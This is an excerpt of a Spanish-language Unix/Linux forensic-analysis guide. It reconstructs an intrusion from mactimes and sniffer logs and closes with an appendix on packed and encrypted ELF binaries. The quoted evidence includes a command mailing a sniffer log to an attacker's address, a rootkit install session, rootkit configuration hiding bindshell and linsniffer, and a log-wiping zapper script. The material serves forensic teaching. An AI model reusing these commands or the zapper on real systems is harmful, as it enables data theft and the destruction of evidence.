grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 37: Análisis Forense de Sistemas GNU/Linux, Unix

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

